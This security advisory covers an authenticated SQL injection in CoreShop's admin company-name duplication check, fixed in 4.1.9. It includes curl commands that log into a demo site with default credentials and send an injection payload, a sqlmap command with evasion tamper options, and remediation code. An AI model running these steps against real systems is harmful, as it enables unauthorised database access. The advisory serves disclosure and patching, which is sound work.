| Package | Affected versions | Patched versions |
|---|---|---|
| coreshop/core-shop | < 4.1.9 | 4.1.9 |
| coreshop | < 4.1.9 | 4.1.9 |
An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.
This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.
The vulnerability exists in the company name duplication check endpoint:
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.
Vulnerable file:
/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
Vulnerable code pattern:
sprintf('name LIKE "%%%s%%"', (string) $value)
The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.
https://demo4.coreshop.org/adminadmin / coreshop # Get CSRF token
curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken
# Initialize session
curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null
# Get CSRF token with session
CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)
# Login
curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
-X POST 'https://demo4.coreshop.org/admin/login/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "username=admin&password=coreshop&csrfToken=$CSRF"
curl -s -b /tmp/session.txt \
'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"
<img width="1921" height="747" alt="sqlmappoc" src="https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985" />Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeNormal response (non-error):
{"success":true,"message":null,"list":[]}
Test 1 - Normal query:
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}
Test 2 - SQL injection (error-inducing):
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
<title>500 | CORS - Pimcore Digital Agency</title>
...
</head>
The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.
Sqlmap Result:
python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db
Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.
❌ Vulnerable example:
$condition = sprintf('name LIKE "%%%s%%"', (string) $value);
✅ Secure example (Doctrine QueryBuilder):
$qb->andWhere('c.name LIKE :name')
->setParameter('name', '%' . $value . '%');
This ensures proper escaping and prevents SQL injection.
Apply strict input validation before processing user data:
if (!is_string($value) || mb_strlen($value) > 255) {
throw new BadRequestHttpException('Invalid input');
}
Optionally, restrict allowed characters if business logic permits.
Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:
return new JsonResponse([
'success' => false,
'message' => 'Invalid request'
], 400);